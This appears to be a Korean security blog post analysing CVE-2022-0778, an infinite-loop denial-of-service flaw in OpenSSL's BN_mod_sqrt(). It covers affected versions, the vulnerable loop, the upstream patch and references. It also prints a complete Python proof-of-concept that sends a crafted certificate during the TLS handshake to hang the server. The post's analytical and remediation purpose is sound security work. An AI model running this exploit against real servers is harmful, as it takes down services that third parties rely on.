1. OpenSSL
- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리
- 여러 운영 체제와 광범위한 소프트웨어에 포함
1.1 SSL 통신 과정
2. 취약점
- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점
① 영향받는 버전
- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전
② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램
2.1 분석
- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함
- BN_mod_sqrt()는 모듈러의 제곱근을 계산
※ 함수 위치 : bn_sqrt.c
※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수
- 해당 함수는 아래 형식의 인증서를 해석할 때 사용
① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우
② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서
- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생
- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분
① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함
② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생
2.2 PoC
- PoC의 동작 순서는 다음과 같음
① ClientHello 메시지를 전송
② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인
③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩
※ DER(Distinguished Encoding Rules)
바이너리 형태로 인코딩한 포맷으로 확장자는 .der
der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용
④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생
from socket import socket, AF_INET, SOCK_STREAM
from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse
class CraftedTLSConnection(TLSConnection):
def _clientKeyExchange(self, settings, cipherSuite,
clientCertChain, privateKey,
certificateType,
tackExt, clientRandom, serverRandom,
keyExchange):
if cipherSuite in CipherSuite.certAllSuites:
# Consume server certificate message
for result in self._getMsg(ContentType.handshake,
HandshakeType.certificate,
certificateType):
if result in (0, 1):
yield result
else:
break
if cipherSuite not in CipherSuite.certSuites:
# possibly consume SKE message
for result in self._getMsg(ContentType.handshake,
HandshakeType.server_key_exchange,
cipherSuite):
if result in (0, 1):
yield result
else:
break
# Consume Certificate request if any, if not bail
for result in self._getMsg(ContentType.handshake,
(HandshakeType.certificate_request,
HandshakeType.server_hello_done)):
if isinstance(result, CertificateRequest):
craftedCertificate = CraftedCertificate(certificateType)
craftedCertificate.create(open('crafted.crt', "rb").read())
for r in self._sendMsg(craftedCertificate):
yield r
print("Crafted Certificate msg sent, check server.")
exit(0)
else:
print("Server does not support TLS client authentication, nothing to do.")
exit(1)
class CraftedCertificate(HandshakeMsg):
def __init__(self, certificateType):
HandshakeMsg.__init__(self, HandshakeType.certificate)
self.certificateType = certificateType
self.certChain = None
self.der = bytearray(0)
def create(self, certBytes):
self.der = certBytes
def write(self):
w = Writer()
if self.certificateType == CertificateType.x509:
chainLength = len(self.der) + 3
w.add(chainLength, 3)
w.addVarSeq(self.der, 1, 3)
else:
raise AssertionError()
return self.postWrite(w)
def run(server, port):
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, port))
connection = CraftedTLSConnection(sock)
connection.handshakeClientCert()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Parameters')
parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
args = parser.parse_args()
run(args.server, args.port)
3. 대응방안
① 최신 업데이트 적용
- i == e 를 종료 조건으로 가지는 for문으로 변경
패치코드
/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
영향 받는 버전 | 패치 버전 |
OpenSSL 1.0.2 | OpenSSL 1.0.2zd |
OpenSSL 1.1.1 | OpenSSL 1.1.1n |
OpenSSL 3.0 | OpenSSL 3.0.2 |
※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고
4. 참고
- https://nvd.nist.gov/vuln/detail/CVE-2022-0778
- https://github.com/drago-96/CVE-2022-0778
- https://blog.alyac.co.kr/4563
- https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498
- https://blog.rovermoot.co.kr/237
- https://blog.leestory.com/558
- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8
- https://www.dailysecu.com/news/articleView.html?idxno=135121
- https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/
- https://mazinga83.blogspot.com/2015/09/ssl.html
- https://github.com/jkakavas/CVE-2022-0778-POC
- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9
'취약점 > Denial of Service' 카테고리의 다른 글
DDoS 공격 유형 #2 (0) | 2023.02.02 |
---|---|
DDoS 공격 유형 (0) | 2023.02.02 |
OpenSSL 3.0 X509 스택 버퍼 오버플로 (CVE-2022-3602, CVE-2022-3786) (0) | 2023.01.13 |
Tomcat Integer Overflow Vulnerability (CVE-2014-0099) (0) | 2023.01.04 |
HTTP.sys 원격 코드 실행 취약점 (CVE-2015-1635) (1) | 2022.11.29 |